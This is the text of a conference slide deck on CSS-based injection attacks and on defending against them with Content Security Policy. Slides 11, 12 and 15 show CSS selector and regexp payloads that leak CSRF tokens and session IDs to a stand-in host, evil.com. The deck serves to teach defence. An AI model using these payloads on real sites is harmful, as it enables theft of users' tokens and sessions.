Slide 1

Slide 1 text

XSS. (No, the other "S") Mike West https://mikewest.org G+: mkw.st/+ Twitter: @mikewest Slides: https://mkw.st/r/cssconfeu13

Slide 2

Slide 2 text

Content Injection is scary.

Slide 3

Slide 3 text

p { color: {{USER_COLOR}}; }

Hello {{USER_NAME}}, view your Account.

var id = {{USER_ID}};

Slide 4

Slide 4 text

scheme://host:port

Slide 5

Slide 5 text

Problem solved!

Slide 6

Slide 6 text

http://www.nds.rub.de/media/emma/veroeffentlichungen/2012/08/16/scriptlessAttacks-ccs2012.pdf goo.gl/WvqNfI

Slide 7

Slide 7 text

http://contextis.co.uk/files/Browser_Timing_Attacks.pdf goo.gl/mnOlI6

Slide 8

Slide 8 text

1. Injection 2. Execution 3. Exfiltration

Slide 9

Slide 9 text

Defacement, Phishing, etc.

Slide 10

Slide 10 text

Steal a CSRF token:

Slide 11

Slide 11 text

#csrf[value='0'] #csrf[value='1'] #csrf[value='01'] #csrf[value='11'] #csrf[value='001'] #csrf[value='101'] #csrf[value='011'] ... #csrf[value='111111111']

Slide 12

Slide 12 text

#csrf[value='0'] { background: url(//evil.com/?csrf=0); }

Slide 13

Slide 13 text

http://eaea.sirdarckcat.net/cssar/v2/

Slide 14

Slide 14 text

Steal a GET parameter: http://example.com/?PHPSESSID=123456 FF-Only, sorry: https://bugs.webkit.org/show_bug.cgi?id=51172

Slide 15

Slide 15 text

@-moz-document regexp(".*PHPSESSID=0.*") { background: url(//evil.com/?sess=0,1); } @-moz-document regexp(".*PHPSESSID=.0.*") { background: url(//evil.com/?sess=0,2); } ... http://html5sec.org/cssession/

Slide 16

Slide 16 text

Steal arbitrary attributes.

Slide 17

Slide 17 text

http://html5sec.org/webkit/test.html

Slide 18

Slide 18 text

Contextual Alternatives http://ie.microsoft.com/testdrive/graphics/opentype/opentype-monotype/index.html goo.gl/qE08aW

Slide 19

Slide 19 text

http://traumwerk.stanford.edu/philolog/2009/10/homers_odyssey_in_art_sirens_f.html

Slide 20

Slide 20 text

No content

Slide 21

Slide 21 text

http://w3.org/TR/CSP11

Slide 22

Slide 22 text

Content-Security-Policy: default-src 'none'; style-src https://mikewestdotorg.hasacdn.net; frame-src https://www.youtube.com https://www.speakerdeck.com; script-src https://mikewestdotorg.hasacdn.net https://ssl.google-analytics.com; img-src 'self' https://mikewestdotorg.hasacdn.net https://ssl.google-analytics.com; font-src https://mikewestdotorg.hasacdn.net

Slide 23

Slide 23 text

Content-Security-Policy: default-src ...; script-src ...; object-src ...; style-src ...; img-src ...; media-src ...; frame-src ...; font-src ...; connect-src ...; sandbox ...; report-uri https://example.com/reporter.cgi

Slide 24

Slide 24 text

Content-Security-Policy-Report-Only: default-src https:; report-uri https://example.com/csp-violations { "csp-report": { "document-uri": "http://example.org/page.html", "referrer": "http://evil.example.com/haxor.html", "blocked-uri": "http://evil.example.com/img.png", "violated-directive": "default-src 'self'", "original-policy": "...", "source-file": "http://example.com/script.js", "line-number": 10, "column-number": 11, } }

Slide 25

Slide 25 text

function handleClick() { ... } Click me! Click me!

Slide 26

Slide 26 text

Click me! Click me! function handleClick() { ... } function init() { for (var e in document.querySelectorAll('.clickr')) e.addEventListener('click', handleClick); }

Slide 27

Slide 27 text

http://www.html5rocks.com/en/tutorials/security/content-security-policy/ https://mkw.st/r/csp

Slide 28

Slide 28 text

https://mkw.st/r/cssconfeu13 Danke! Mike West https://mikewest.org G+: mkw.st/+ Twitter: @mikewest